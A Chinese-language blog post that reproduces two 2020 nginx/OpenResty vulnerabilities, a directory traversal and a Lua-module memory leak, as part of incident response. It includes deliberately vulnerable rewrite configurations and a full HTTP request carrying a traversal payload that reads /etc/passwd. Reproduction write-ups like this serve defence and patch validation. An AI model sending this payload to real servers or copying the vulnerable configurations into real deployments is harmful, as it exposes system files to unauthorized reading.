前言

最近一直在忙cissp的备考,好多前阵子做的一些技术调研没来得及整理成文章发出来,为了坚持每月至少一篇的更新,这次发的质量稍微水一些。前阵子Nginx/OpenResty爆出了2个漏洞,一个内存泄漏另一个目录遍历。当时在公司做了应急,复现的情况也一并做了记录,这两个漏洞原理相对比较简单,但影响面还是比较大的。

18年5月京西爨底下村(2018.5 京西爨底下村)

漏洞通报概况

2020 年 03 月 18 日,360 CERT 监测发现 openwall oss-security 邮件组披露了nginx/Openresty 两枚漏洞。一个目录穿越漏洞一个内存泄漏漏洞。

受影响版本

nginx <= v1.17.7 (commit af8ea176a743e97d767b3e1439d549b52dd0367a)

openresty <= v1.15.8.2

复现过程

  • 目录穿越漏洞
    操作系统centos 6.5(当然其实和操作系统关系不大)。
    (1)安装 nginx 版本选择了 1.17.7
    (2)修改 rewrite 配置
//directory traversal
location ~ /rewrite {
   rewrite ^.*$ $arg_x;
}

(3)带着 payload 请求 /rewrite 目录

GET /rewrite?x=/../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

(4)响应内容显示出 /etc/passwd 内容
在这里插入图片描述(5)在 openresty v1.15.8.2 测试,同样可以复现。

  • 内存泄漏漏洞
    (1)采用刚搭建的 nginx 1.17.7
    (2)安装 lua-nginx-module,需要重新编译nginx,安装编译过程可参见:https://www.jb51.net/article/153390.htm
    (3) 配置nginx.conf
//memleak
location ~ /memleak {
    rewrite_by_lua_block {
        ngx.req.read_body();
        local args, err = ngx.req.get_post_args();
        ngx.req.set_uri( args["url"], true );
    }
}

(4) 测试 lua-nginx-module-0.10.14 测试未复现漏洞 (nginx 1.17.7 安装 lua-nginx-module-0.10.15 以上版本会报错)
在这里插入图片描述(5)直接安装 openresty v1.15.8.2 版本,成功复现
在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐